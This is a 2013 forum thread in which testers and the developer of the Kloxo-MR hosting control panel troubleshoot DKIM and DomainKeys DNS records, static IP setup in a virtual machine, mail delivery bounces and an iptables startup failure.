    by mx.google.com with ESMTPS id c3sm12952239pax.9.2013.02.08.11.34.26
    (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
    Fri, 08 Feb 2013 11:34:27 -0800 (PST)
Message-ID: <5115533F.4030606@bigraf.com>
Date: Sat, 09 Feb 2013 02:34:23 +0700
From: "..: Mustafa Ramadhan (BIGRAF.com) :.." <mustafa@bigraf.com>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130107 Thunderbird/17.0.2
MIME-Version: 1.0
To: admin@testing.potissima.com
Subject: Re: test
References: <df3aebc.6375abe10712194accd731da84652b3f@webmail.testing.potissima.com>
In-Reply-To: <df3aebc.6375abe10712194accd731da84652b3f@webmail.testing.potissima.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Gm-Message-State: ALoCoQkbcv9F6vG/bj7y8BU7gJYkZjT50oumSYGpHZhLZRku4cRo6opk7kvoKjH5v7g0jRIHefzp
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 01:40:19
Quote from: "MRatWork"
This is header mail from my googleapps:
Code: [Select]
Return-Path: <mustafa@bigraf.com>
Delivered-To: admin@testing.potissima.com
Received: (qmail 10184 invoked by uid 0); 8 Feb 2013 20:18:23 -0000
Received: from unknown (HELO mail-pa0-f52.google.com) (209.85.220.52)
    by testing.potissima.com with (RC4-SHA encrypted) SMTP; 8 Feb 2013 20:18:23 -0000
Received-SPF: softfail (testing.potissima.com: transitioning SPF record at bigraf.com does not designate 209.85.220.52 as permitted sender)
Received: by mail-pa0-f52.google.com with SMTP id fb1so2192517pad.11
    for <admin@testing.potissima.com>; Fri, 08 Feb 2013 11:34:29 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
    d=google.com; s=20120113;
    h=x-received:message-id:date:from:user-agent:mime-version:to:subject
    :references:in-reply-to:content-type:content-transfer-encoding
    :x-gm-message-state;
    bh=M1wQu6vvXCQkYm3Una1f6HsjGKYiuW07N1ACUSeDa1Q=;
    b=EyGg5doysbI7OWzxOrAK4oC7/NCYUi7O/4rTfnZ9gHlCPqHcKe4t7IfPp6gpkGFkap
    8sEgyjoNn3/CQLpCgeGpzCTmEWXfP2ObR0rirONb3IPqVJEnu8E/T8vxnGk2JFHSuHNI
    uQqJr+Nsbb+N8pw5djtaCVhfH/iCHCXvxaomGvR9GpwcFuUNdc6c3N0L7AaV/I7RBOIp
    VysZPnUhYaGMaseWXXyI0DjmG9pYI6dKNEskET28cZim2sPkHrqmWnOSbvhTTor7il0m
    2sFrKCwNa6q5z/XeWgsSBGY8jf2qL20T6dCldTSFAKjn9Zt6fDHuMHMRVAyugJQwxJZ7
    JX2w==
X-Received: by 10.66.73.164 with SMTP id m4mr20415293pav.12.1360352068979;
    Fri, 08 Feb 2013 11:34:28 -0800 (PST)
Return-Path: <mustafa@bigraf.com>
Received: from [192.168.0.101] ([110.136.160.110])
    by mx.google.com with ESMTPS id c3sm12952239pax.9.2013.02.08.11.34.26
    (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
    Fri, 08 Feb 2013 11:34:27 -0800 (PST)
Message-ID: <5115533F.4030606@bigraf.com>
Date: Sat, 09 Feb 2013 02:34:23 +0700
From: "..: Mustafa Ramadhan (BIGRAF.com) :.." <mustafa@bigraf.com>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130107 Thunderbird/17.0.2
MIME-Version: 1.0
To: admin@testing.potissima.com
Subject: Re: test
References: <df3aebc.6375abe10712194accd731da84652b3f@webmail.testing.potissima.com>
In-Reply-To: <df3aebc.6375abe10712194accd731da84652b3f@webmail.testing.potissima.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Gm-Message-State: ALoCoQkbcv9F6vG/bj7y8BU7gJYkZjT50oumSYGpHZhLZRku4cRo6opk7kvoKjH5v7g0jRIHefzp

That one is ok ;) Please add when it will be ready.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-09, 02:07:33
As description in http://wiki.qmailtoaster.com/index.php/Domainkeys (http://wiki.qmailtoaster.com/index.php/Domainkeys), setting domainkeys is ok in Kloxo-MR.

Look like not need modified or fixed for something.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 02:16:21
Quote from: "MRatWork"
As description in http://wiki.qmailtoaster.com/index.php/Domainkeys (http://wiki.qmailtoaster.com/index.php/Domainkeys), setting domainkeys is ok in Kloxo-MR.

Look like not need modified or fixed for something.

How does the TXT entry should look inside DNS template ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-09, 02:26:49
look inside /usr/local/lxlabs/kloxo/httpdocs/htmllib/lib/dns/dnsbaselib.php about '_domainkey' and 'private._domainkey'
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 17:33:20
Quote from: "MRatWork"
As description in http://wiki.qmailtoaster.com/index.php/Domainkeys (http://wiki.qmailtoaster.com/index.php/Domainkeys), setting domainkeys is ok in Kloxo-MR.

Look like not need modified or fixed for something.

I don't see anything about DKIM in this description. Domainkeys works ok for me, but this is not enough for Google. I need DKIM !
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 17:37:34
I'm testing this one: http://wiki.qmailtoaster.com/index.php/ ... il_Toaster (http://wiki.qmailtoaster.com/index.php/How_to_Setup_DKIM_with_Qmail_Toaster)
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-09, 17:48:31
Like http://wiki.qmailtoaster.com/index.php/ ... il_Toaster (http://wiki.qmailtoaster.com/index.php/How_to_Setup_DKIM_with_Qmail_Toaster) already implemented on Kloxo-MR (also Kloxo official). If you see  '_domainkey' and 'private._domainkey' TEXT on dns setting that Qmail mean as DKIM.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 17:55:00
Quote from: "MRatWork"
Like http://wiki.qmailtoaster.com/index.php/ ... il_Toaster (http://wiki.qmailtoaster.com/index.php/How_to_Setup_DKIM_with_Qmail_Toaster) already implemented on Kloxo-MR (also Kloxo official). If you see  '_domainkey' and 'private._domainkey' TEXT on dns setting that Qmail mean as DKIM.

No ! It's not the same...

I got this additonal entry after adding this:
                                                                                                                                         
Quote
DKIM-Signature: v=1; a=rsa-sha1; c=simple; d=mail.xxx.pl; h=from
   :to:subject:date:message-id:mime-version:content-type; s=dkim1;
    bh=bPg7i1jco7UFIpxlu0WvybIcVfc=; b=BdSAFNRDg1U1kfZqDsPxlu1xQnst
   ofRPoNryhavmNbYk3VW+8URnMRDI95cO3Gfx

Still something wrong:

Quote
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of smtp.mail=kloxo@xxx.pl (http://mailto:smtp.mail=kloxo@xxx.pl);
       dkim=neutral (bad format) header.i=@xxx.pl

My entry is like this:

Quote
dkim._domainkey    TXT    -    k=rsa; p=MEwwDQYJKoZIhvcNAQEBB...
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-09, 17:58:49
Quote from: "Spacedust"
Quote from: "MRatWork"
Like http://wiki.qmailtoaster.com/index.php/ ... il_Toaster (http://wiki.qmailtoaster.com/index.php/How_to_Setup_DKIM_with_Qmail_Toaster) already implemented on Kloxo-MR (also Kloxo official). If you see  '_domainkey' and 'private._domainkey' TEXT on dns setting that Qmail mean as DKIM.

No ! It's not the same...

I got this additonal entry after adding this:
                                                                                                                                         
Quote
DKIM-Signature: v=1; a=rsa-sha1; c=simple; d=mail.xxx.pl; h=from
   :to:subject:date:message-id:mime-version:content-type; s=dkim1;
    bh=bPg7i1jco7UFIpxlu0WvybIcVfc=; b=BdSAFNRDg1U1kfZqDsPxlu1xQnst
   ofRPoNryhavmNbYk3VW+8URnMRDI95cO3Gfx

How to adding your text?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 18:09:03
Quote from: "MRatWork"
Quote from: "Spacedust"
Quote from: "MRatWork"
Like http://wiki.qmailtoaster.com/index.php/ ... il_Toaster (http://wiki.qmailtoaster.com/index.php/How_to_Setup_DKIM_with_Qmail_Toaster) already implemented on Kloxo-MR (also Kloxo official). If you see  '_domainkey' and 'private._domainkey' TEXT on dns setting that Qmail mean as DKIM.

No ! It's not the same...

I got this additonal entry after adding this:
                                                                                                                                         
Quote
DKIM-Signature: v=1; a=rsa-sha1; c=simple; d=mail.xxx.pl; h=from
   :to:subject:date:message-id:mime-version:content-type; s=dkim1;
    bh=bPg7i1jco7UFIpxlu0WvybIcVfc=; b=BdSAFNRDg1U1kfZqDsPxlu1xQnst
   ofRPoNryhavmNbYk3VW+8URnMRDI95cO3Gfx

How to adding your text?

Just generate and add TXT entry like this: http://dkimcore.org/tools/ (http://dkimcore.org/tools/)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 18:09:46
This should be easy to do. We just need proper format of these DKIM keys.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 18:15:22
It might be something like this inside all DNS templates where 1360412643 is a random number:

'1360412643.__base__._domainkey.__base__:v=DKIM1;p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhWmlT7pFrDkEwZCd3NaT/0bnYdmHb+xsN7o8rIN/heZX0qxn983ApgVaPTO9h4LdBCfTl6bzVQGSntcgpuh4wmgpBpv2SiAQ2zlAV2SiIcbClrPxKFZ02NffWeDEGbvSmdqwIEiy/SGNbppg79+WC3ME/6Ifw9rZrwx6YZhqcdwIDAQAB:3600::
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-09, 18:43:18
Quote from: "Spacedust"
It might be something like this inside all DNS templates where 1360412643 is a random number:

'1360412643.__base__._domainkey.__base__:v=DKIM1;p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhWmlT7pFrDkEwZCd3NaT/0bnYdmHb+xsN7o8rIN/heZX0qxn983ApgVaPTO9h4LdBCfTl6bzVQGSntcgpuh4wmgpBpv2SiAQ2zlAV2SiIcbClrPxKFZ02NffWeDEGbvSmdqwIEiy/SGNbppg79+WC3ME/6Ifw9rZrwx6YZhqcdwIDAQAB:3600::
Try edit /usr/local/lxlabs/kloxo/httpdocs/htmllib/lib/dns/dnsbaselib.php where:
Code: [Select]
function addDomainKey($key)
{
$this->addRec("txt", "_domainkey", "t=y; o=-; r=postmaster@{$this->nname}");
$this->addRec("txt", "private._domainkey", "k=rsa; p=$key");
}
change:
Quote
function addDomainKey($key)
{
   $this->addRec("txt", "_domainkey", "t=y; o=-; r=postmaster@{$this->nname}");
//   $this->addRec("txt", "private._domainkey", "k=rsa; p=$key");
   $this->addRec("txt", "private._domainkey", "v=DKIM1; g=*; k=rsa; p=$key");
}

Disable domainkeys first (forget where's this option exist) and then enable. Also need rebuild dns.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 18:49:02
I will test this on my VirtualBox system ;)
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-09, 19:17:53
Quote from: "Spacedust"
I will test this on my VirtualBox system ;)
You installed centos on a virtual machine? How do you configure kloxo without a static ip?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 19:25:27
Quote from: "lapy"
Quote from: "Spacedust"
I will test this on my VirtualBox system ;)
You installed centos on a virtual machine? How do you configure kloxo without a static ip?

I've edited system files on now I got static IP's. You can also add additional addresses to test exclusive domains.

You need to set DMZ for VirtualBox IP.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 19:27:06
Quote from: "Spacedust"
Quote from: "lapy"
Quote from: "Spacedust"
I will test this on my VirtualBox system ;)
You installed centos on a virtual machine? How do you configure kloxo without a static ip?

I've edited system files on now I got static IP's. You can also add additional addresses to test exclusive domains.

You need to set DMZ for VirtualBox IP.

Example:

Code: [Select]
[root@nowosci /]# cat /etc/sysconfig/network-scripts/ifcfg-eth0
# Intel Corporation 82545EM Gigabit Ethernet Controller (Copper)
DEVICE=eth0
BOOTPROTO=static
IPADDR=192.168.1.8
NETMASK=255.255.255.0
GATEWAY=192.168.1.1
BROADCAST=192.168.1.255
ONBOOT=yes

Second IP:

Code: [Select]
[root@nowosci /]# cat /etc/sysconfig/network-scripts/ifcfg-eth0:0
# Intel Corporation 82545EM Gigabit Ethernet Controller (Copper)
DEVICE=eth0:0
BOOTPROTO=static
IPADDR=192.168.1.9
NETMASK=255.255.255.0
ONBOOT=yes

Then restart network /etc/init.d/network restart
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 19:30:41
Can DomainKeys coexist with DKIM ?
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-09, 19:31:58
My Virtual Machine is already DMZ. I use VMware Fusion though because I'm on mac, centos 6.3 full, kloxo-mr, but kloxo says ip not valid when I try to add 192.168.0.15 (Virtual Machine static LAN ip)
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-09, 19:35:46
Quote from: "Spacedust"
Can DomainKeys coexist with DKIM ?
Domainkeys is the same as DKIM, except different 'text' content (with and without 'v=DKIM1; g=*;')
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 19:40:04
Quote from: "MRatWork"
Quote from: "Spacedust"
Can DomainKeys coexist with DKIM ?
Domainkeys is the same as DKIM, except different 'text' content (with and without 'v=DKIM1; g=*;')

It worked for wp.pl, but when I send message to gmail.com I got:

Quote
<testpoczty12349@gmail.com>:
User and password not set, continuing without authentication.
<testpoczty12349@gmail.com> 173.194.70.26 failed after I sent the message.
Remote host said: 550-5.7.1 [62.21.xx.xx] The IP you're using to send mail is not authorized to
550-5.7.1 send email directly to our servers. Please use the SMTP relay at your
550-5.7.1 service provider instead. Learn more at 550 5.7.1 http://support.google.com/mail/bin/answ ... swer=10336 (http://support.google.com/mail/bin/answer.py?answer=10336) f3si59109489eep.123 - gsmtp
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-09, 19:41:06
Quote from: "lapy"
My Virtual Machine is already DMZ. I use VMware Fusion though because I'm on mac, centos 6.3 full, kloxo-mr, but kloxo says ip not valid when I try to add 192.168.0.15 (Virtual Machine static LAN ip)

Never mind, I forgot to set the connection as BOOTPROTO=static  ;)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 19:42:33
Quote from: "lapy"
Quote from: "lapy"
My Virtual Machine is already DMZ. I use VMware Fusion though because I'm on mac, centos 6.3 full, kloxo-mr, but kloxo says ip not valid when I try to add 192.168.0.15 (Virtual Machine static LAN ip)

Never mind, I forgot to set the connection as BOOTPROTO=static  ;)

That's it ;)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 19:46:22
Whole headers at wp.pl:

Code: [Select]
Received: from c61-xx.icpnet.pl ([62.21.61.xx])
          (envelope-sender <admin2@nowosci.org>)
          by mx.wp.pl (WP-SMTPD) with AES256-SHA encrypted SMTP
          for <xxx@wp.pl>; 9 Feb 2013 14:46:32 +0100
DKIM-Signature: v=1; a=rsa-sha1; c=simple; d=c61-xx.icpnet.pl; h=from:to
:subject:date:message-id:mime-version:content-type; s=dkim1; bh=
hR1cW5WDEYR+WGhcbzagpDoeONc=; b=dbgfyW0+OBd0rpDF8Zf/8ebKkdsIQSWR
o3nfSY6vr2fOEggRcRmQ5E2NMpr8l96b
Received: (qmail 11732 invoked by uid 0); 9 Feb 2013 13:28:30 -0000
Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=private; d=nowosci.org;
  b=3wrvx9PThERRTQ/mmNe27TC0gq/l8wxV6YnhixOxeNSb16z9+e2qvuFx2iZHaQPU;
Received: by simscan 1.4.0 ppid: 11725, pid: 11727, t: 0.0219s
         scanners: attach: 1.4.0 clamav: 0.97.6
/m:54/d:16651
Received: from c61-xx.icpnet.pl (HELO MacPro) (admin2@nowosci.org@62.21.61.xx)
  by 192.168.1.8 with ESMTPA; 9 Feb 2013 13:28:30 -0000

Gmail doesn't work probably because Google think my domain is on 192.168.1.8 instead of external IP :)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 19:57:06
I've sent an e-mail to account on aol.com and see what I've got:

Quote
554 RTR:DU

    AOL uses the Spamhaus PBL to block mail from dynamic and residential IP addresses. Per our E-mail Guidelines, we do not accept mail from such addresses. If you believe your IP is listed in error, please contact your ISP directly and have them update their listing with the PBL. If...
        your ISP reports that the IP is correctly listed in the PBL, and that you should be able to send mail from it, or
        you were recently assigned IPs, have changed the rDNS on them, and allowed 48-72 hours for propagation time...and you are still getting the error, please open a support request.

So I need to test this on a VPS or production machine...
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 20:36:30
Mustafa where to set this d=domain.com ?

Quote
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=private; d=nowosci.org;
  b=yxMvClv0kol+S4Q+0vrKGWBWg5mrzB9B0TRuTd03bS9q9vStVLFvbueuJR6/PorV;

Example e-mail from EA.com:

Code: [Select]
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=em.ea.com;
s=20111006; t=1360355464; x=1375993864;
bh=FOT1R5YoYqVZ+H0ohI5TVzJNbaa7grjIZE5resM2V6I=; h=From:Reply-To;
b=XeA7tefbqO1xZVFPRP9t+RlnsKA9SEdl7GzJq/m11LYXmUQAYn8iFVE+YLTKiUhtG
VXbOj/fprVnRNXQryUQkg3pEffR6FIADclYUsg8rDPYZEvgyz0bT6Cs4SrbR3WL/zx
2/MWmjgYAJ4srqyZA14OQhPiX/8sn9Moms84cbXw=
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=200505; d=em.ea.com;
  b=Cv+Jw6cQu3b/mL5qmu610Xsh1ygSt/E/bvgURrT2VtfD1I4nLZnUC3bzmcCjsZyQ6vmSwoTOdhReDt38k7WfBseL/NVXOAAdGUfNnxYvabyfx0hacajgU3a/99z0hPJtV0+anW2ZxZ8N3/lSk06jEyxbwgqH5U5pRfBotmL8F20=;
 h=Date:Message-ID:List-Unsubscribe:From:To:Subject:MIME-Version:Reply-To:Content-type;

They got both DKIM and DomainKey and d=domain.com is set correctly in both places.

and we're getting hostname instead of domain name:

Quote
DKIM-Signature: v=1; a=rsa-sha1; c=simple; d=c61-xx.icpnet.pl; h=from:to
   :subject:date:message-id:mime-version:content-type; s=dkim1; bh=
   hR1cW5WDEYR+WGhcbzagpDoeONc=; b=dbgfyW0+OBd0rpDF8Zf/8ebKkdsIQSWR
   o3nfSY6vr2fOEggRcRmQ5E2NMpr8l96b
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-09, 20:45:00
Spacedust, there's no way to add sub sub domains to kloxo if you use a ddns service like no-ip?

eg. webmail.host.no-ip.org
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 20:55:43
Quote from: "lapy"
Spacedust, there's no way to add sub sub domains to kloxo if you use a ddns service like no-ip?

eg. webmail.host.no-ip.org

I know. Tested now on my production server with static IP on Kloxo 6.1.12 and it didn't worked. DNS wasn't chaged if I reload it...

I must upgrade to Kloxo-MR.
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-09, 21:04:47
Quote from: "Spacedust"
Quote from: "lapy"
Spacedust, there's no way to add sub sub domains to kloxo if you use a ddns service like no-ip?

eg. webmail.host.no-ip.org

I know. Tested now on my production server with static IP on Kloxo 6.1.12 and it didn't worked. DNS wasn't chaged if I reload it...

I must upgrade to Kloxo-MR.

I tried with my test server (virtual machine) with kloxo-mr, but I guess the problem is that the host (eg. host.no-ip.org) must ping to the same IP of the VM (192.168.0.15) which is impossible because it's a local IP.
When Kloxo-MR will be finished I will update my production VPS to centos 6.3 (loosing all data :(  )and install Kloxo-MR final.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-09, 21:11:55
@lapy

I hope final release ready with better backup/restore. For previous version (Kloxo official and previous Kloxo-MR) just add a script and then run this script to fix 'could_not_zip_dir' issue when backup. And also a scipt named 'raw-backup' for backup whole data from previous version

@Spacedust,

GoogleApps only have 1 domainkeys:
Code: [Select]
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
    d=google.com; s=20120113;
    h=x-received:message-id:date:from:user-agent:mime-version:to:subject
    :references:in-reply-to:content-type:content-transfer-encoding
    :x-gm-message-state;
    bh=TVaeUQDFh7gFgfiQCuSY2eilnOaVBrleCd253EMUExk=;
    b=FtMu07y8HPcKmpr67Ki0Qg+IF3yCj9SxajXTxMiGru1TzEtAa9OzRdQnlx1olfpq/o
    /cBuQuvTAY12EVzwLJL8Dj9xtH10xG4UP10lpQRr2c+Q1UVBSy//ojKqkBnKyLk2qLCn
    Tb1BR2+UQEP1Mm9aQCg2dTPtN6EsDMo+vbH45yIiAN9288iUQVgB0eJUNEqKPT+d+I2z
    0UtufPpg2lvI3Nb72Z6xa3/h6pVjQK6TBM14VhTnNhRfHWg3c0ZEchEdc8fDltUJg3gf
    afPdp7IMb2YgKtMMQSSiNLDqHuNb5EDzlPHfQ7gb+k6jGGLCCY93w72N/s2Qd6enpTBc
    zstQ==
X-Received: by 10.68.116.101 with SMTP id jv5mr4255502pbb.75.1360422289603;
    Sat, 09 Feb 2013 07:04:49 -0800 (PST)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 21:18:31
Quote from: "MRatWork"
@lapy

I hope final release ready with better backup/restore. For previous version (Kloxo official and previous Kloxo-MR) just add a script and then run this script to fix 'could_not_zip_dir' issue when backup. And also a scipt named 'raw-backup' for backup whole data from previous version

@Spacedust,

GoogleApps only have 1 domainkeys:
Code: [Select]
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
    d=google.com; s=20120113;
    h=x-received:message-id:date:from:user-agent:mime-version:to:subject
    :references:in-reply-to:content-type:content-transfer-encoding
    :x-gm-message-state;
    bh=TVaeUQDFh7gFgfiQCuSY2eilnOaVBrleCd253EMUExk=;
    b=FtMu07y8HPcKmpr67Ki0Qg+IF3yCj9SxajXTxMiGru1TzEtAa9OzRdQnlx1olfpq/o
    /cBuQuvTAY12EVzwLJL8Dj9xtH10xG4UP10lpQRr2c+Q1UVBSy//ojKqkBnKyLk2qLCn
    Tb1BR2+UQEP1Mm9aQCg2dTPtN6EsDMo+vbH45yIiAN9288iUQVgB0eJUNEqKPT+d+I2z
    0UtufPpg2lvI3Nb72Z6xa3/h6pVjQK6TBM14VhTnNhRfHWg3c0ZEchEdc8fDltUJg3gf
    afPdp7IMb2YgKtMMQSSiNLDqHuNb5EDzlPHfQ7gb+k6jGGLCCY93w72N/s2Qd6enpTBc
    zstQ==
X-Received: by 10.68.116.101 with SMTP id jv5mr4255502pbb.75.1360422289603;
    Sat, 09 Feb 2013 07:04:49 -0800 (PST)

I've seen both DomainKeys and DKIM on many hosts so I would like to use both. More protection is better.

So again where to change this d=domain.com ?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 21:22:38
Seems to be working ;) http://www.brandonchecketts.com/emailtest.php (http://www.brandonchecketts.com/emailtest.php)

Code: [Select]
DKIM Signature

Message contains this DKIM Signature:
DKIM-Signature: v=1; a=rsa-sha1; c=simple; d=c61-xx.icpnet.pl; h=from:to
:subject:date:message-id:mime-version:content-type; s=dkim1; bh=
9dh4UfNu4IxNjgkiA9Tu4V+kL+8=; b=WgtLRMieUX7j1K6K809WpLI8DCZkeCoF
5ry+A8TQd9VGCvpeDHe1p1XbyI1aZ0z5


Signature Information:
v= Version:         1
a= Algorithm:       rsa-sha1
c= Method:          simple
d= Domain:          c61-xx.icpnet.pl
s= Selector:        dkim1
q= Protocol:        
bh=                 9dh4UfNu4IxNjgkiA9Tu4V+kL+8=
h= Signed Headers:  from:to
:subject:date:message-id:mime-version:content-type
b= Data:            WgtLRMieUX7j1K6K809WpLI8DCZkeCoF
5ry+A8TQd9VGCvpeDHe1p1XbyI1aZ0z5
Public Key DNS Lookup

Building DNS Query for dkim1._domainkey.c61-xx.icpnet.pl
Retrieved this publickey from DNS:
Validating Signature

[b]result = pass[/b]
Details:
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-09, 21:24:19
Have see?
Code: [Select]
function addDomainKey($key)
{
$this->addRec("txt", "_domainkey", "t=y; o=-; r=postmaster@{$this->nname}");
// $this->addRec("txt", "private._domainkey", "k=rsa; p=$key");
$this->addRec("txt", "private._domainkey", "v=DKIM1; g=*; k=rsa; p=$key");
}
Domain name as '{$this->nname}'.

Install 2 antivirus on your server may no protection on your system because conflict between antivirus.

The same issue with double entry for domainkeys.

What the reason google use only single domainkey?.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 21:28:09
Weird thing... if I rebuild DNS it doesn't add the correct DNS entry, but If i readd the domain then it works. Mustafa can you test this ?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 21:29:37
Quote from: "MRatWork"
Have see?
Code: [Select]
function addDomainKey($key)
{
$this->addRec("txt", "_domainkey", "t=y; o=-; r=postmaster@{$this->nname}");
// $this->addRec("txt", "private._domainkey", "k=rsa; p=$key");
$this->addRec("txt", "private._domainkey", "v=DKIM1; g=*; k=rsa; p=$key");
}
Domain name as '{$this->nname}'.

Install 2 antivirus on your server may no protection on your system because conflict between antivirus.

The same issue with double entry for domainkeys.

What the reason google use only single domainkey?.

Google is stupid and they've got their own servers so who might know what is their policy.

Take a look at linkedin:

Code: [Select]
DomainKey-Signature: q=dns; a=rsa-sha1; c=nofws;
s=prod; d=linkedin.com;
h=DKIM-Signature:Sender:Date:From:To:Message-ID:Subject:MIME-Version:Content-Type:X-LinkedIn-Template:X-LinkedIn-Class:X-LinkedIn-fbl;
b=Keu48bd/60ofTS5kGRYarW8y+fIe8f/mdFYYHdErh8d/2RKho3YHLyt6tjudBq6b
j3+WyyUGsC4ol2z0JhZY0ufP27cxA2SEZAAS6eOk/XViYTGjN0TexqP6szlfb4rQ
DKIM-Signature: v=1; a=rsa-sha1; d=linkedin.com; s=proddkim1024; c=relaxed/relaxed;
q=dns/txt; i=@linkedin.com; t=1360367249;
h=From:Subject:Date:To:MIME-Version:Content-Type:X-LinkedIn-Class:X-LinkedIn-fbl:
X-LinkedIn-Template;
bh=IieGQO0ZsgsBrlLSst6r9n3ND30=;
b=RLejj/OLhYFspN1Jw3Zw6FwQufmSKNN09MQ91xrimQ2sAJF082bjm1LwElc8s+li
pvRyke9Lz1dQijkbpxcmNx8+MGQ8bOcRwNS+NYxfDlvVU/oPqKzo/rnGZwTJwkQ3
eWwlIGo72meTzkuUBxB009jSsaOg6YYC03Jc57sdFhY=;
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-09, 21:37:59
Quote from: "Spacedust"
Weird thing... if I rebuild DNS it doesn't add the correct DNS entry, but If i readd the domain then it works. Mustafa can you test this ?
Yes, I found this issue. There something wrong again with previous Kloxo.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-09, 21:40:47
Quote from: "MRatWork"
Quote from: "Spacedust"
Weird thing... if I rebuild DNS it doesn't add the correct DNS entry, but If i readd the domain then it works. Mustafa can you test this ?
Yes, I found this issue. There something wrong again with previous Kloxo.

I've sent you a PM with detailed report.


============================================================
DKIM result: permerror (no key)
============================================================
Signed by: admin2@nowosci.org
Expected Body Hash: UAPaxcCKdR0KNeI11w09A1OObpo=
Title: Re: Need Kloxo-MR Tester
Post by: Viking on 2013-02-10, 00:41:24
Centos 6.X 64bit
6.5.0.c.2013020703
You can not turn on iptables:
(http://www.zimagez.com/miniature/przechwycenieobrazuekranu-09022013-194018.php) (http://www.zimagez.com/zimage/przechwycenieobrazuekranu-09022013-194018.php)
Any ideas to solve the problem?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 00:43:49
Quote from: "Viking"
You can not turn on iptables:
(http://www.zimagez.com/miniature/przechwycenieobrazuekranu-09022013-194018.php) (http://www.zimagez.com/zimage/przechwycenieobrazuekranu-09022013-194018.php)
Any ideas to solve the problem?

Confirmed on me too. The same for djbdns if you use it...
Title: Re: Need Kloxo-MR Tester
Post by: Viking on 2013-02-10, 00:48:24
Quote from: "Spacedust"
Quote from: "Viking"
You can not turn on iptables:
(http://www.zimagez.com/miniature/przechwycenieobrazuekranu-09022013-194018.php) (http://www.zimagez.com/zimage/przechwycenieobrazuekranu-09022013-194018.php)
Any ideas to solve the problem?

Confirmed on me too. The same for djbdns if you use it...
I use Bind.
In version 6.5.0.candidate.2012-12-17-01 and Centos 5.9 64bit is OK.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-10, 00:50:46
IPTables not running because missing /etc/sysconfig/iptables and ip6tables files (content for firewall rules).

You are lucky for this situation because if above files exists but not match for you want (like no permit kloxo's port 7777/7778) and it's make this port not able to access.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 04:07:16
Any news about DKIM DNS bug ?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-10, 13:56:40
Upgraded from Kloxo 6.1.12 to Kloxo-Mr to nginxproxy + php_fpm_event.

Now most of domains displays:

Quote
If you are seeing this page, it means that web has not been configured for this domain on this server.

This could be due to the following causes:

Kloxo has not restarted the web server yet after you added the domain. Please wait for the web server to restart.

The domain is pointing to the wrong Kloxo server. Ping the domain and make sure that the IP matches one of the IPaddress seen in admin home -> ipaddresses

